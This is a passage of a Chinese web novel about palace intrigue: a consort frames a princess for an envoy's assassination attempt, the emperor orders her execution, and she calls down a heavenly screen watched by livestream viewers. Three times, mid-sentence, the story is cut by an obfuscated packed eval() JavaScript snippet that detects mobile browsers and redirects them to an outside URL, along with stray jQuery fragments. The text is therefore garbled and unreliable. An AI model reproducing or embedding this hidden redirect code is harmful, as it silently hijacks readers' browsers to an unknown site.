贤妃其人,今日不复寻常清丽素装,而按品服大妆,珠围翠绕,笑容可掬,又是贤淑端庄…遥遥一望,竟颇具母仪天下之风范。
侍君之时,婉顺柔嘉,清婉脱俗;其向后宫诸人,狠心狠情、诈谋迭出;及大宴临众,复为国色天香、仪态万千。
贤妃位为妃子,在她之上却没有人,形同副后,这场宴会自然扮演的就是天下女主人的角色了,这次宴会节目和流程都是她一手安排的。
底下离皇帝稍微近一点的席位,坐的都是皇子皇孙。
再远一点,是功勋大臣、文武百官、命妇贵女之流。
连余家这种获罪家族中过去的几位功臣也受到了邀请,只是他们穿着打扮有意朴素,不主动和周围人接话,面有忧色,和此时的情景有些格格不入,显得尴尬。
大部分人都沉浸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811274|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在这种普天同庆的氛围中……
直到时间熬到了外邦使臣进献礼物时,出了一个大乱子!
底下有个使臣,来自一个曾被大夏打过的蕞尔小国,申国,那里如今是大夏的附属国。他自称带来的礼物是祥瑞之兆、为上苍所赐,果然惹得皇帝来了兴头,便教人靠近些,把礼物呈上,他要亲自拆卸。
那申国使臣乖乖照做,在旁边一众侍卫严密的监视下,其一举一动也算合规。
皇帝亲临拆卸那物事,而使臣交完礼物,则恭立底下数米之外。
不料皇帝快拆卸完时,那申国使臣瞅准时机,趁周围人略有松懈,他忽拔下自己顶上帽子中的一根金属装饰品——原来是一根伪装精妙的金属刀刺。
他有如神助,飞奔上前,直冲最上面的皇帝来。
“护驾!”
陆贤妃反应很快,先喊了一句,就“下意识”扑倒了旁边还呆愣、年老迟钝的皇帝。
太后也惊呼一声“皇儿”,半身飞来挡在皇帝身上。
几位皇帝亲卫也算是顶尖高手,反应更为迅速,一下就出手,挡住了那个使臣,与他交起手来。
几对一,申国使臣纵使有些功夫,也很快不敌,一会儿,胸口处、嘴巴处很快涌出一大片鲜血,浸湿了外衣,触目惊心。
他躺在地上,已经失去一臂,血流如注,奄奄一息。
临死前,他还大喊着:
“夏帝——你必死无葬身之地!你高居庙堂之上,岂不知你害过多少人,彼皆欲杀你以祭天,其军心早晚变矣,他日,吾主必与恨你之人里应外合,尔夏必亡矣!”
言讫,其仰天而怆然长笑:
“哈哈哈哈哈哈哈哈——”
皇帝听罢,龙颜大怒:“砍了他的头!”
左右侍卫不等使臣咬舌自尽,便用明晃晃的刀剑去了他的头颅,那掉下的头颅直直滚了出去,有十米之远。
地面淌了一路血。
彻底失去意识后,使臣那具无头身体仅剩的一臂上的手一松,握着的那支金属刀刺随即快落了地,发出金石相击的铿锵之音。
事发突然,底下一片哗然。
众人望到那颗滚落的头颅,更是戚戚一片、不敢声语。
皇帝后怕不已,又惊又怒。
贤妃亦是面色惊惧,紧紧握着他的一只手,还给予着他力量。
鬓发皆白的老太后一手紧紧捏着手帕,一手捂着心口。
皇帝已是知天命之年,大脑难得飞速运转,他紧紧捉着那个刺客临死前的话嚼着味儿,越想越心惊——他是不怀疑这个刺客的话,毕竟人都快死了,又撒什么慌,他是根本想不到有人会专门行刺皇帝且甘愿赴死只是为害人的。
他满脑子中想的,所谓“你害过多少人”“里应外合”,尤其说的是自己以前害过的本国人,再从“军心早晚变矣”一条……他有些不敢想下去了,最先想到的竟是……难道勾结敌国贼人的是余家的人?还是不止?或与余家有关?赵家?何家……
若说他迫害过的人中,谁受害最深?皇帝比谁都清楚余家委屈是最深的。
大夏军队十几年前,有一段时期对外大大小小的战争中,基本都用到了余家人——起码在余妃获罪前是这样的,说句不中听的,十几年前的某段时间,放在军队里,当时皇帝的话都不一定有原来余大帅的话好使。
也是余家家规森严、守忠君之道,受多少迫害,到底未反,几位余妃父兄还饮恨西去。
皇帝也就是从这真正见识了余家对他的忠心和家风,却并无反思,还洋洋自得,他对底下人如同对狗,以为自己耍弄朝内外制衡之道已是登峰造极,只思待未来一日待某家坐大,再对余家人做提拔,余家又能供他驱驰。
如今他真的迟疑了、恐惧了、愤怒了,更是迁怒了,他得罪的人太多,他甚至都不知道与此刺客合作的人是谁。
自知年迈病弱的皇帝,还正想着扶持曾经对他最为忠心的余家人。
他勉强怀着最后一点理性,迫使自己抛去这个可怕的想法——余家,还是忠于他的。
主谋另有其人而已。
……
望着皇帝惊惶不安、惊怒交加的模样,身侧的陆贤妃依然作惊惧状,唇角却不自觉微敛。
作为皇帝多年枕边人和曾经的青梅竹马,她对皇帝如何多疑再了解不过了。
怀疑一旦产生,罪名就已经成立了。
皇帝有时会利用贤妃,办些不便、不愿之事。
这么多年,贤妃也反过来利用了皇帝很多次,更多是言语的诱导,大多还是暗示,还就靠诱发对方的疑心来完成。
先种下一颗怀疑的种子……《范增论》有言,人必先疑,而后谗入之。
贤妃不知道靠这着点暗地倒逼着皇帝杀了多少她想杀的人。
“抓住他的同伙!抓!再去查——查这个刺客去过每个的地方、每个角落!都不放过……还有他来时住过的客栈!”皇帝怒不可遏道。
一排侍卫纷纷应和,随即出动。
数千乃至数万人的现场,此刻却安静无比。
底下无人敢触这个掌握无数人生杀大权暴君的霉头。
没皇帝发话,底下的赴宴者,纵然恨不得现在就逃回家宅,但谁也不敢离席,也不敢高声言语。
谁晓得,这次查完后,是不是……
天子一怒,伏尸百万呢?
6. 失恃公主or开国女帝(5)
成千上万人的大场面。
一时鸦雀无声。
地板上的血迹未干,时间也一点一滴走着,下面许多人的心也怦怦跳着。
天子一改先前观赏表演时的从容,他脑子如乱麻,淬了刀子的阴毒眼神一遍遍扫过全场,尽管他病了、衰老了,似在张牙舞爪——可底下绝大多数都是狐狸和兔子,依旧不敢惹一头暴怒的老雄狮。
……
不知过了多久,举全皇宫之力的速度,很快就让这个刺客背后的东西水落石出。
一个侍卫报告,说他搜到了一封书信,却没敢说谁写的。
“拿上来!”
暴怒的狮子吼了起来。
拿到书信后,皇帝细细咀嚼这个每个大逆不道的字眼,那越看越熟悉的字迹让他越看越心惊肉跳、怒火中烧,再自发串联起了这些天那位“指使者”大逆不道的行径,几乎是深信不疑了。
恐惧和怒火冲刷了他所有的理智。
他把信狠狠掼到桌面上,声音却冷静得可怕:
“把六公主押过来。”
……
得到皇帝要“请”她去宴会的消息,姜柏弥反而是“果然如此”的心理。
侍卫们紧紧看押着她,送她去现场。
路上走着,姜柏弥也是神态自若。
旁边侍卫不解。
步入会场。
无数道探究、若有所思的目光投到她身上。
姜柏弥始终高昂着头颅,一身素装,神情从容,不紧不慢。
贤妃皇帝等人见她状无疯癫、恢复如初,抛去惊讶不论,皇帝是更加确信六公主是下了谋算要害他的。
弹幕见终于快能搞事情了,此时此刻算是热闹非凡:
【看似很危险,其实一点也不安全】
【主播有种老艺术家的从容】
【主播:我在不要笑挑战中赢得了0.1秒的好成绩,达成结局株连九族,你也来试试吧】
【我以为赴宴这里会触发连招,比如推广个断头台之类的产品】
【绷】
【啊?】
【⊙▽⊙】
一封贤妃托道人细心伪造勾结外国的书信,彻底蒙骗了暴怒中的皇帝。
皇帝此时几乎认定了六公主以及背后的余家就是那个要害死他的幕后黑手。
多年的疑虑汇聚成了铁板铮铮的认知和真相。
他很清楚自己曾害死余家那么多人…果然,原来这群乱臣贼子一直是韬光养晦,想要找时机毁了自己、谋权篡位。
老皇帝一点也不顾什么皇家体面或是私下处死解决了,他只想把这个只是和自己有些血缘的乱臣贼子以及她背后的那票人很快就地正法——正好,他要让底下人好好看看,背叛他是什么下场!
权力慢慢流逝的恐惧一点点侵蚀着老皇帝那颗越发脆弱扭曲的心。
他开诚布公地连骂带出了六公主和余家勾结申国刺杀君上、意图叛国谋逆的罪名。
此言一出,群臣皆惊。
他们中大多数人也没有怀疑这是否为诬陷,或者另有隐情,他们只觉得……庆幸,终于找出了凶手,起码自己家族能平安落地了。
余家众人素来不与朝中和光同尘,六公主是个不受宠、几乎不露面的公主,如此一来,墙倒众人推,不管是幸灾乐祸的,还是惊讶其谋逆的,作壁上观还算是明哲保身之举,害怕惹祸,更有甚者,已然与左右言语挑拨、搬弄是非起来。
席间众人,无关男女,什么勋戚爵臣,什么世职封荫,平民眼中通着天的人,大多是捧着朝廷的金饭碗、银饭碗,他们也许不在意老皇帝生死,却也牢牢攀附在大夏这棵粗壮的参天大树上,每个人都汲取着这棵大树的养分,所谓食利者。
大夏目前还是血包厚重,这些围坐在帝国桌边扎根已久的权贵世族还没改换门庭的想法,蛋糕都没分完,有人就想掀桌子了,他们自然气得够呛。
说句难听的,就算真到了卖国的地步,也得由他们出个价吧…这个余家,竟不按他们规则来?
至于还有部分人,所谓愚忠之人,也有,读书久了,也魔怔了,官也没做大,竟是实打实把皇帝天命奉为圭臬,见有人敢造逆,也是恨之入骨,替皇帝冤屈,什么刁民……
更有与余家有私人恩怨的仇者,自觉大快人心。
什么“卖国贼”“其心可诛”不绝于耳,余家与六公主,片刻之间,仿佛便不容于天下了。
那个老太后指着六公主,气得说不出话来,半天,才来了句:“死不足惜,没良心的东西!”太后素日就瞧不上这个没了母亲的孙女,此时更是恨。
在场的几个余家男人,一时为千夫所指,但家族脊骨尚在,一顶天大的帽子扣来,他们是不信自家的侄女会做出这样的事来的,正要说话求情,也为自保,却见皇帝开口了。
“朕问你,勾结外人,意图谋逆,你认不认?”老皇帝也听到底下窃窃私语,并不阻止。
只是越想越觉得余家和这个小六就是群白眼狼,该杀!
他越老了,越是怕死,越是糊涂,这些人触了他的禁忌,老皇帝也顾不了那么多,有时越是软弱,越是别无他法,才越想动用杀这种手段,他甚至没想着上刑逼供,只想着直接杀鸡儆猴。
姜柏弥则是一边在心里催着006赶紧准备播放她和网友这几天商量剪辑的成果。
一边寻思着整点大义凛然的台词过渡一下剧情,却无意看到了网友刷的弹幕,基本都是在教她如何回复老皇帝这番话的,扫了一眼,她差点没绷住,幸好演员的基本素养让她没当众笑出声来。
【那我问你,你是男的女的,如果你是男的你说这样的话啊,如果是你如果你是男的,那我问你啊,没死还是要刺杀一次是吧,你那我问你,我谋反,我谋反啊怎么了,我就谋反怎么了,哎我谋反怎么了,我就谋反你难道你看不惯吗,啊我谋反就是我干的怎么了我就是干了,我就是要谋反怎么了啊…】
【谁家阿诺】
【你赶紧告诉皇帝你玩三国杀啊,然后他就会说是三国杀害的了】
【老皇帝:玩三国杀啊,这就不奇怪了】
【做个不痛不痒的发言就过去了.JPG】
【告诉他:我觉得这就是一种自信.JPG】
【只要你自信,怎么表达都可以.JPG】【要给他迎头痛击.JPG】
虽然姜柏弥没笑,但是她憋着,勾起一种似绷非绷的神色,她稍微撇开脸去,平复神情,才用一种反问的语气道:“非我之恶,罪从何来?”
皇帝自然看见了她的表情变化。
更觉不可思议。
是觉得自己的话……可笑?
这下又火上浇油了。
“你何尝把朕放在眼里!”皇帝很没面子,气得把桌上的那封书信撕作两半,掷了出去,“朕几时薄待过你?你非要造下这等自绝于人伦天理的弑君弑父之恶!”
他彻底下定决心,厉声定论,说着说着,似乎是在与天对话:“……朕教女不严,以至今日如此人伦祸事!幸得宗庙之灵庇佑,朕侥幸保全自身。罪女柏弥,非朕不能容,实是不肖,行此大逆不道,朕欲大义灭亲,先除其名于玉碟,着即处以极刑,以正国法!”
皇帝气极,一时反而竟忘了处理余家其余人。
“来人,就在此地,送这个狼心狗肺的上路!你们都好好看看……”
侍卫们刷刷抽出剑。
不录口供、不走刑讯流程,这就是要使犯人即刻伏诛以威慑天下了。
哪怕处理的是皇帝亲生女儿,证据确凿的情况下,皇帝要杀她,她也不是公主了,而是个死人。
侍卫们正要逼近——
恰在此时,有个余家的男人站出来了,是六公主的亲舅舅,也是余妃的兄弟,他明明跪下来了,却目光坚定、言语铮铮,硬刚:
“陛下圣鉴!六公主乃陛下骨肉,自幼受宫闱之教,修礼仪忠信,历年以来,处事兢兢,安能行此等无君无父之事?此信,疑为奸佞之徒捏造,也未可知。但凭流言与未定之信即治罪公主,法理安在?日月焉昭?古之贤君,皆审慎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811275|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为务。伏乞陛下详查此事,而后定论!”
陆贤妃脸色晦暗不明,一只手悄悄扶住了椅子的扶手。
旁边有个也是余妃的堂兄,思及家族兴亡只在此时,六公主若死,他们家族也是个树倒猢狲散,落个族灭人亡的下场,一咬牙,也站了出来,直直跪下:“陛下,臣忧者乃国之大体、天下观瞻。当许以完备办案之流程,方合礼法圣君之道……”
皇帝不由分说已经定罪了,两个余家人着急之下说下这些要翻案的话,真要揪住错处,是话里话外质疑皇帝出了错,算是贴脸开大了。
皇帝反而更加坚定了他的想法,余家,六公主,蛇鼠一窝,一窝子合起来要害死他!
“照你们的意思,是朕不辨忠奸?”老皇帝笑了,“不按你们说的做,朕就不是贤君了?可笑,你们敢挟持朕!好、好,你们都是诤臣,都是好样的。”
“来人…把这两个都给我……”
侍卫们蓄势待发。
还没等他说完,姜柏弥开腔了:
“余家的忠心世人皆知,天地可鉴!陛下只信自己听到的吗?”
“住口!尔等眼里还有朕吗?朕的心窥探世间一切罪恶,你们一个个的犯上作乱的,还有什么可信的!还敢提‘忠心’二字!”
“陛下行事如此武断,不顾人心,不顾真伪,可有天理?可有公道?”
“朕的话就是天理!朕心即亿兆民之心,公道就在人心中,就在朕心里。”
“陛下若是为了天理,又如何降下不义的惩罚!”
老皇帝:“朕为天理诛你!”
姜柏弥踏出一步,望着天,拔下了唯一的簪子,长发泼墨似的披散下来,像极了脱簪向天请罪。众人再次把目光投给她,紧张不已,他们晓得了,今天必然有人要流血,他们恨不得这个女人赶紧伏诛,以全君恨,恨不得齐齐来一句“请公主赴死”…也有人心下嘀咕,弑君弑父之人,又何来颜面妄谈天理?
倏然,不知哪个方向卷来一阵大风,站在天地间的女人,衣袂纷飞,素裙猎猎,青丝乱舞。
她立于风中,望天,女人的声音陡然拔高,发出不屈的质询:
“天理!尔居何处!若吾必亡,尔杀吾何意?彼真恶者,尔将以何法诛之?”
谁晓得,话音刚落。
姜柏弥头顶偏后,天上,四面八方来的朵朵絮云以一种肉眼可见的速度簇成一处,形成一处巨白。
随后,那团大云朵又撕裂开,旋转着裂作絮状白云又四散开来,沿边环绕聚成了一竖着的立体圆环,壮丽,圣华。
圆环中间空处,一阵炫目彩光几番变换,竟然凭白生出一块黑色巨幕,嵌在云铸圆环里,玻璃样子,一般人难以看透材质。
给底下人的感官是——
两个字。
——震撼!
三个字。
——很震撼!
四个字。
——非常震撼!
其他人还不知道是什么个反应,一人一统倒聊得不亦乐乎。
006不忘忽悠:【你本月愿意开通黄金VIP天幕服务吗,限时打七折,五百积分。】
姜柏弥笑了笑,用心声回答它:
【没积分,不充。】
006:【那过会儿每个剪辑视频对大众正式播放前,依然都会有60秒广告,且无法跳过——我的已有权限无法保证展示的广告内容不会过于猎奇。】
姜柏弥:“……”
姜柏弥:【你趁火打劫!你不怀好意!】
逼氪。
绝对逼氪。
006被冤枉了,努力辩白:【广告这部分不是由我决定的,我管不了广告,是中央系统决定的。】
万一过会儿出现来了什么猎奇向或者上不得台面的三流小广告……
姜柏弥败下阵来。
临时氪金。
006:【还有更多服务可以升级……】
姜柏弥:【滚!】
不复往日一点情谊。
006:呵,人类。
7. 失恃公主or开国女帝(6)
天上现一异象。
圆环于天,积云聚成。
谓之天幕。
本来,六公主命悬一线了,质问天理时,天边却出现了这么个反常理的现象。
皇帝都顾不得继续发号施令,他死死盯着那个积云围成的圆形天幕。
“……这是何物?”
他情不自禁道。
旁边的陆贤妃也是愣住了,她也不敢相信眼前发生的一切。
太后手合了起来,一腕还戴着佛珠,直呼“阿弥陀佛”。
底下众人更不必说,看到这个有如神迹的天幕,个个如遭雷劈——天幕位置选得足够高,视野足够好,且前后两面都是黑色屏幕。
有此天上从未见过的神物,底下有人议论纷纷。
皇帝自然很震惊的,他甚至揉了揉眼睛。
皇帝本人虽也玩“君权神授”那一套,但对“天”的态度基本属于不完全信奉,也不完全否定的——像这类人生赢家,多年来制衡上的胜利和大权在握的快感,太过自负,让他更信自己。
他先前会因为巫蛊之事发怒,倒不是因为害怕鬼神,而是这挑战了他皇帝的威权。
看到自己一直用来忽悠别人的工具,貌似真的存在,还脱离自己的掌控,皇帝第一种感觉是迷茫,随后,便是一种发自心底的恐慌。
但是,当着众人面,一向易躁易怒、杀人如麻的老皇帝反而此时在面上没表现出丝毫的慌乱。
他真的怕了。
……
姜柏弥站在底下,把席间众人的神情观察得清清楚楚。
作为最清楚底细的一个人,她无疑是最淡定的。
有一点是显而易见的,皇帝贤妃他们虽然自诩比他人要清醒,也不能否定超然力量的存在,在这种社会环境下,身边人谈的多了,不信也敬三分——环境因素的影响还是挺大的。
这类欲壑难求的人,遇到某个随机事件,极有可能寻求依托,又不得不信了。
倘若是做生意的商人、大难不死的幸存者,也可能会有这种心理路程。
天幕变化很快。
屏幕上的黑色褪去了。
有了彩色画面。
姜柏弥眼前的弹幕沸沸扬扬飘起来。
【太好了,是天幕,我们有救了】
【马上就上大号】
【找到大号密码了】
【横扫大夏,做回自己】
【发现天幕断片接下来播不出来内容就神作了】
【现在网友就是会享受,想看什么就自己剪】
【哈哈哈哈——终于来啦,就想看看这群人什么表情】
【其实很不懂啊,老皇帝这种暴君,真的会敬畏一个距离当前遥远的开国皇帝么?再怎么说,如今当政的是他】
【科普一下,历史上夏厉帝上位有些不正,就想方设法宣扬自己的正统地位、继承了天命,大夏历代皇帝中,就属他是最积极供奉开国母系帝皇香火的,史载他平时上朝也张口闭嘴也要强调大夏开国的女皇,他的外曾祖母——这就是越缺什么,越要强调什么。这事好笑在他本人不一定真的多尊崇这位女皇,可他在民间朝中刻意宣扬了这么多年开国皇帝,等众人看完天幕,就会认为他现在要杀的人是女帝转世。他属于是年轻时上位前期还披着张人皮,为了不被众人诟病抓辫子早早弄下台硬装了几年,干了点人事,甚至还有点功绩,人到中年,铲除完那些实力强大的政敌威胁,变得大权在握后,以为再无强大制掣,慢慢暴露真实本性了,中老年时,人品本来不行,加上病体与人老后体能精力下降等客观因素影响,他变得又蠢又坏,再没干过几件人事】
【谢谢你,科普侠】
天幕中,慢慢浮现出完整的画面。
[广袤的草原。
夕阳西下。
一片黑压压的骑兵自草原远方潮水般奔袭来,马蹄声沉沉鼓起来,天边红霞烧了一片,燃烧着骏马的嘶鸣。
一个俯视航拍镜头。
画面由远及近。
镜头从草原的全景、地面密集的人类黑点慢慢向下推进,最后近距离靠近这些集聚起来的令人生畏、富有浓厚草原气息的骑兵。
拍到了他们的正面。
弯弓。
长矛。
短矛。
冷箭。
他们如野狼一般。
镜头持续推进,聚焦到了最前方、最强壮的首领——他看起来就是个领袖般的角色,一个狼群的首领,骑在白马上。阵地中,他最为魁梧。
他的头发浓密而卷曲,有的扎成了细小的辫子。上等牛皮头盔。狼皮披风。皮甲。象牙。宝石。弯刀。弓箭。
他一只眼带着深褐色的牛皮眼罩。
那只眼睛似乎受了伤。
可能瞎了。
另外一只残存的眼睛,宛如野性的、漂亮的绿色玻璃球,泛着冷凝的光,野狼般绿莹莹的光,那是一种饿狼捕猎的前奏,同时似乎交织着几种情绪——不屑、蔑视、恐惧、恨意、愤怒、茫然。
画面隐约凝固了几秒。
倏然,配合静态画面,传来一道温和而平稳的女声旁白:
我再次看到了他,看到了一个来自草原的王,看到了他那只独眼,里面充斥着那样的愤怒,他的另一只眼,是我们的帝王,在半年前的一次普通的战役中,亲自射瞎的。
镜头逐渐拉远。
众骑兵、盾兵拥簇下的群狼首领,连带着身后一望无际的队伍,仿佛与身后那片金红色的天际融为一色。
令人生畏。
镜头保持不变,慢慢拉到了另外一支成建制的军队上,这个视角同时拍到的是他们的背影和对面气势汹汹的敌军。
只看背面,这支队伍更像是来自中原,也又有不少轻骑兵,还有列盾牌的重甲步兵,武器明显精良一些。
一个铁黑甲胄的背影也在将士拥簇之下,骑着一匹通体黝黑的骏马,其红色披风猎猎生风,剑指敌军。
尽管戴着头盔、甲胄厚重,还只是一道远远的背影,可还是能依稀分辨出这是个女子,只是看不清她的面容。
接下里的十几秒镜头,没有声音,来回切镜头,闪转腾挪的剪辑手法,这种蒙太奇式的镜头语言,很漫画式表现出了两军统帅刚才之间隔着大老远不太友好的交流,这样的剪辑甚至有些诙谐幽默,交战双方将士们也嗷嗷叫唤着,群情激奋。
下一秒,漫天箭雨齐发。
镜头随着中原骑兵冲锋也在迅速横向移动,掠过两股迅速逼近的军队,两军人马一相遇,乌泱泱拥在一处,短兵相接、刀光剑影。
包抄、突围、流箭、火光、风声、马蹄声、刀剑声、嚎哭声。
不知过了多久。
画面逐渐模糊了。
声音模糊了。
天上,地上,霞光,血迹,火光,慢慢溶成一片金红色。
这片颜色中。
一处高坡地带。
现出刚才那个女子统帅的侧影,她依然骑着马,头盔却不见了,长发在风中翻涌着,远镜头,侧脸依旧模糊,难辨真容。铁甲染血,手持天子弓弩,一番蓄势凝神,弯作满月,待射天狼。
一支利箭化作流
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811276|175248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
星,破空而来。
这箭穿过溃兵、越过混乱与血腥气息,不偏不倚射中了那个混乱中正要寻找副官、还与几个中原士兵精锐缠斗的草原首领的白马颈部,更准确地说,是咽喉。
马遇惊。
马身流血失控,前蹄抬起。
本来与七八个精锐战得也不落下风的草原首领,冷不丁被甩下了马。
瞬时。
战局扭转。
四五把闪着寒光的剑架到了他的脖子上。
首领惊怒、意欲反抗。
一阵急促马蹄声。
一道翻身下马的声音。
画面从最底下的那双精工锻造、质地上乘的靴子开始,如人的视线一般慢慢上移——战靴、胫甲、披风、裙甲…一支直直指着首领咽喉的天子利剑,其剑柄被戴着皮革护指的五指握着,小臂护腕浸染了血。
那支剑得到了一个特写。
剑尖直指敌人魁首的喉咙,几乎抵着皮肤。
画面定格于此。
逐渐褪色,变灰变淡。
褪至最为灰暗之时,天幕画面骤然玻璃般破碎,人物皆消失不见,取而代之的是一份缓缓铺展开的羊皮地图卷轴,年代久远的黄褐色,上面用朱砂标注着密密麻麻的区域与地名,一条黑色虚线由短而长,在地图上不断延伸扩展着——熟知这段历史的人自然知道,那条黑线代表着大夏开国皇帝起兵初期的行军路线,而标红的点,则是实际控制的势力范围。
旁白伴随着地图展开娓娓道来。
旁白(一道沉稳大气的浑厚男音):公元1230年7月,祯王姜徵令虎踞一方后,已逐步剿灭前朝残党,于郢阳登基,立国大夏,此举标志着大禹王朝的彻底覆灭。翌年三月初,为抵抗边境侵略,太祖皇帝姜徵令率领御征军精兵六万北上草原,御驾亲征,半年内,五次击退北戎来犯,八月,帝生擒北戎首领云赫于马下,赫诈降,逃回路上遇大夏军埋伏,再度受擒,惊惧一身,心疾发作,于夜里不治而亡。敌军群龙无首,几乎溃散,又在两月内被各个击破,余部纷纷逃亡北上。经此一战,大夏边疆稳定,新生的大夏政权得到了彻底巩固。]
直播屏幕上瞬时洋溢起一片“x刷”的弹幕。
【梦开始的地方】
【太好了,可以看直播时顺带重温这部剧了】
【我就是这部剧认识姜柏弥的】
【姜柏弥真的很适合这个角色】
【熟悉的开场白、大场面,群演也都很给力,经费在燃烧】
【没想到在一次穿书直播中都能看到《夏启徵令》这部剧】
【这部剧服化道很真实】
【电视剧里的这幅地图是经过无数考证的,上面征战路线确实没有纰漏,听说拍这部剧时导演专门请来了很多历史领域专家做顾问,造型师、化妆师、灯光师、道具师也是各自领域内的专业人士,他们为拍这部剧也有进行过相关历史知识的长期补习,剧组用心了】
【讲真的,历史上姜徵令的一生和开了挂似的,有些经历拍出来和神剧一样】
【有人怀疑她是穿越者,可话说回来,穿越者就算开着全知全能视角,也很难做到那一步吧】
【第一次看,视频前面那段“我”的女声旁白里“我”是谁】
【你慢慢往后看就知道了】
【这里没有剪主题曲吗】
【肯定不剪了,剪了就很画蛇添足,也要保持神秘感,这不是要忽悠古人吗】
底下的绝大多数古人确实被忽悠到了。
无数双眼睛正死死盯着上方那近乎神迹的画面。
8. 失恃公主or开国女帝(7)
天幕。
在这个小世界的大夏各地天空雨后春笋般冒出来。
但凡在大夏境内,只要是有人烟的地带,不管多么偏僻,都有这么一个积云堆成的“圆环天镜”。
准时、准点播放着姜柏弥和系统提前准备的好内容。
……
全都看到了。
天下人都看到了。
烈日炎炎下,听到动静,田间劳作的农夫勉强直起来佝偻的腰板,两手拄着锄柄,立于原地,黝黑的脸、木木的眼神,呆呆望向那触不可及的天空。
额间的汗珠一颗颗滑落。
有的还溅到眼珠子里了。
他却没了感官似的,感知不到了,也顾不得手抹一把了。
他的妻子——刚刚忙完纺织、牵着小儿、胳膊中拎着柳条食篮的妇人,也愣愣的,杵在了原地,仰头望天——她原是要晌午给丈夫送饭,顺带下地帮把手的。
等天上第一次出现那片金红色中的茫茫草原——
脸晒得红红的小儿指着天,莫名来了句:“草原、大草原,那天上长了草哩!”
“那天顶上的云彩,咋么个还变出个环环儿来咧?"
农妇顺着小儿可爱的话,也感慨起见过的神奇画面。
小儿很兴奋,一时动作太大了,脚一陷,幸好方才站的底下是浅泥窝,他怀里抱着的盛了大半水的葫芦水瓢险些全洒了。
农妇急急接过洒了不少的水瓢,又赶紧把小儿拽稳,嘴里埋汰语气,却是不轻不重锤了下小儿的背:“看着些,灰儿子,端个水也使唤不成,让你爹差点今儿就没水喝了。”
半晌,农夫才回过了神,低下头,望了望活生生的妻儿,抿了抿干裂的唇,眼皮咧着,眼底似乎同时蓄着湿意和笑意,他颤巍巍开了腔:
“天显灵嘞——”
同一句话,一声接着一声。
小儿也欢欢喜喜学他爹喊这句话。
妻子笑了。
一大一小喊着,此起彼伏。
传遍漫山遍野。
那些早看痴了的不用说。
那些没看见的……
附近埋头苦干的农夫们、驱赶牛羊的牧民、采摘果子或纺织的老少媳妇们齐齐抬起了头,个个见到了天幕,以为神迹。
太阳正毒,锄头早就给撂在地里,一家三口聚在一棵遮阴的大柳树下,农夫老汉端着碗,一口玉米面贴饼子,一口水。
和妻儿蹲坐着,共同观看那天幕的东西。
农夫:“你晓不晓得它讲了啥?”
农妇:“好像两伙人打仗,那个领头的还像是女娃,她这是在杀人吗……哎呀,那个神明声音说她姓姜?还是皇帝,那不就是我们国家那个开国女皇帝嘛。”
……
各地城镇的普通百姓纷纷涌上街来。
起先都是好奇、敬畏,后面竟都着了迷,痴痴看着那块天幕,还有嘴里念念有词做手势祈祷的,还有磕头祈愿的。家里家外,闺阁里的姑娘们不做女红了,做买卖的有的干脆收摊,哭丧人不嚎了,乞丐忘讨要铜子了,学堂里的学童也都跑了出来…教书先生是第一个跑出来的。
农夫、屠夫、猎户、茶户、铁匠、绣娘、镖师、乐师、舞娘、装裱匠、厨子、渔夫、商贾、伶人、士兵、宫人、贵妇人……但凡有名有姓的,没病得走不动的,在左呼右唤召唤下,几乎都中了蛊,往外走,往上看。
这种神乎其神的画面,在普通人心目中…简直是天神显灵了。
天幕上播着的这部历史剧,特点就是取景真实和考据严谨,制作精良,不少画面都是电影画质。
这些第一次看电视剧(天幕)的古代人群,本身也是有迷信思维的,很容易就把那电视画面当真,以为是真实存在过一些画面。
京城。
街道茶楼处本就聚得人多,尤其议论纷纷。
“这是什么神仙的功法?”
“是真有神仙庇佑我大夏吗?看上面东西十有八九是当年发生过的事,你听它后面说的话,那个天幕上骑马射箭女的估计就是咱们太祖皇帝。”
“看懂了,这上面讲的是一百五十年前我太祖昭文皇帝当年北征时活捉北戎首领的事。”
“那为啥会这时候会显现一百五十年前的画面。”
“估计是上天来警示人们的,话本子里大多是这么写的。”
“……哎呀,神仙是有什么用意嘛,使我徒劳伤心,干脆使用神力让那皇宫里的老昏君死了算了,太祖皇帝怎么有了这么孬的后代。”
“我们都见着了,皇宫那位能看得见吗?”
“皇帝老儿,那个暴君,三宫六院七十二嫔妃,坐他紫宸殿,根本听不见。”
